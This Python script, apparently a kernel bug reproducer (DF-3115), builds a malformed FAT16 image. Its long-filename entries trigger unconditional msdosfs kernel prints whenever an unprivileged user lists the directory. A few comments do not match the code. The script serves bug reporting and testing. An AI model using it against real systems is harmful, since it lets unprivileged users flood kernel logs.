#!/usr/bin/env python3
"""
DF-3115 -- craft a FAT16 image whose root directory contains LFN slots that
violate the reassembly order, driving the UNCONDITIONAL kprintf()s in
mbnambuf_write() (sys/vfs/msdosfs/msdosfs_conv.c:1038 "non-decreasing id"
and :1048 "file name length %zu too large").

Two patterns:

  pattern A (default): 12 groups of [LFN id=1][LFN id=1][SFN X<n>.TXT]
      -> every scan of the directory re-prints "non-decreasing id: id 1,
         last id 1" once per group (12 lines per lookup/getdents pass).

  pattern B: 10 chained LFN slots (ids 10..1, 13 chars each = 130 bytes)
      followed by an SFN -> one "file name length 130 too large" line per
         scan (130 > 127 cap at msdosfs_conv.c:1047).

Both patterns are purely on-disk metadata; an unprivileged user listing or
stat()-ing files in the directory triggers the prints.

usage: craft_lfn.py <out.img> [A|B]
"""
import struct, sys

BPS = 512
TOTSEC = 4096          # 2 MB
RESV = 1
NFATS = 2
SPC = 4
ROOTENTS = 512
FATSEC = 4
MEDIA = 0xF8
SPT, HEADS = 32, 8
ROOTSEC = (ROOTENTS * 32 + BPS - 1) // BPS


def lfn_entry(seq, name13, last=False, chksum=0x57):
    """LFN directory entry (attr 0x0F).  seq is the ordinal (weCnt).
    `last` sets WIN_LAST (0x40) on the highest-ordinal slot so win2unixfn
    re-establishes the checksum and actually reaches mbnambuf_write."""
    e = bytearray(32)
    e[0] = (seq & 0x3F) | (0x40 if last else 0)
    e[13] = chksum
    # name chars 0..4 (UTF-16LE), 5..10, 11..12
    ucs = [ord(c) for c in name13] + [0] * (13 - len(name13))
    # pad with 0xFFFF as Windows does for unused slots
    for i in range(len(name13), 13):
        ucs[i] = 0xFFFF
    off = 1
    for i in range(0, 5):
        struct.pack_into('<H', e, off, ucs[i]); off += 2
    e[11] = 0x0F
    e[12] = 0
    struct.pack_into('<H', e, 26, 0)     # cluster
    off = 14
    for i in range(5, 11):
        struct.pack_into('<H', e, off, ucs[i]); off += 2
    off = 28
    for i in range(11, 13):
        struct.pack_into('<H', e, off, ucs[i]); off += 2
    return bytes(e)


def sfn_entry(name, ext, cluster=2):
    e = bytearray(32)
    n = (name + ' ' * 8)[:8].encode()
    x = (ext + ' ' * 3)[:3].encode()
    e[0:8] = n
    e[8:11] = x
    e[11] = 0x20
    e[12] = 0
    e[13] = 0x7E                      # create time 10ms (arbitrary)
    struct.pack_into('<H', e, 14, 0x6000)   # time
    struct.pack_into('<H', e, 16, 0x5CD0)   # date 2020-01-01
    struct.pack_into('<H', e, 18, 0x5CD0)   # access date
    struct.pack_into('<H', e, 20, 0)        # cluster hi
    struct.pack_into('<H', e, 22, 0x7800)   # write time
    struct.pack_into('<H', e, 24, 0x5CD0)   # write date
    struct.pack_into('<H', e, 26, cluster)  # cluster lo
    struct.pack_into('<I', e, 28, 0)        # size 0
    return bytes(e)


def build(outpath, pattern='A'):
    img = bytearray(TOTSEC * BPS)

    # --- boot sector (FAT16) ---
    bs = 0
    img[0] = 0xEB
    img[1] = 0x3C
    img[2] = 0x90
    img[3:11] = b'MSDOS5.0'
    struct.pack_into('<H', img, 11, BPS)
    img[13] = SPC
    struct.pack_into('<H', img, 14, RESV)
    img[16] = NFATS
    struct.pack_into('<H', img, 17, ROOTENTS)
    struct.pack_into('<H', img, 19, TOTSEC)
    img[21] = MEDIA
    struct.pack_into('<H', img, 22, FATSEC)
    struct.pack_into('<H', img, 24, SPT)
    struct.pack_into('<H', img, 26, HEADS)
    struct.pack_into('<I', img, 32, 0)          # hidden
    struct.pack_into('<I', img, 36, 0)
    img[510] = 0x55; img[511] = 0xAA

    # --- FATs (FAT12/16 as computed by mount: maxcluster decides FAT12) ---
    firstcluster = RESV + NFATS * FATSEC + ROOTSEC
    maxcluster = (TOTSEC - firstcluster) // SPC + 1
    # keep it FAT12/FAT16-agnostic: entries 0/1 + chain for cluster 2 (data)
    fat1 = bytearray(FATSEC * BPS)
    fat1[0] = MEDIA; fat1[1] = 0xFF; fat1[2] = 0xFF
    # cluster 2 -> EOC (root of file data, FAT12 0xFFF)
    if maxcluster <= 4085:
        # FAT12 entry for cluster 2 at byte 3: 0x0FF 0xF0 -> EOC
        fat1[3] = 0xFF; fat1[4] = 0x0F
    else:
        struct.pack_into('<H', fat1, 4, 0xFFFF)   # cluster 2 EOC
    for i in range(NFATS):
        img[(RESV + i * FATSEC) * BPS:(RESV + (i + 1) * FATSEC) * BPS] = fat1

    # --- root directory ---
    rdo = firstcluster - ROOTSEC
    ent = 0

    def put(e):
        nonlocal ent
        off = (rdo * BPS) + ent * 32
        img[off:off + 32] = e
        ent += 1

    if pattern == 'A':
        for g in range(12):
            put(lfn_entry(1, 'aaaaaaaaaaaaa', last=True))   # weCnt 0x41, id 0
            put(lfn_entry(1, 'bbbbbbbbbbbbb'))   # id 0 again -> EINVAL print
            put(sfn_entry('LONGN%03d' % g, 'TXT'))
    else:
        # 10 full LFN slots, ords 10..1 (WIN_LAST on first) -> 130 bytes
        for i in range(10, 0, -1):
            put(lfn_entry(i, 'c' * 13, last=(i == 10)))
        put(sfn_entry('VERYLONG', 'TXT'))
    # volume label so something sane exists
    put(sfn_entry('DF3115', '', 0))
    # terminator
    off = (rdo * BPS) + ent * 32
    img[off] = 0x00

    # --- data area: cluster 2 = a directory (so lookup scans root only) ---
    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s (%d bytes), pattern %s, maxcluster=%d, FAT12=%s"
          % (outpath, len(img), pattern, maxcluster, maxcluster <= 4085))


if __name__ == '__main__':
    build(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else 'A')
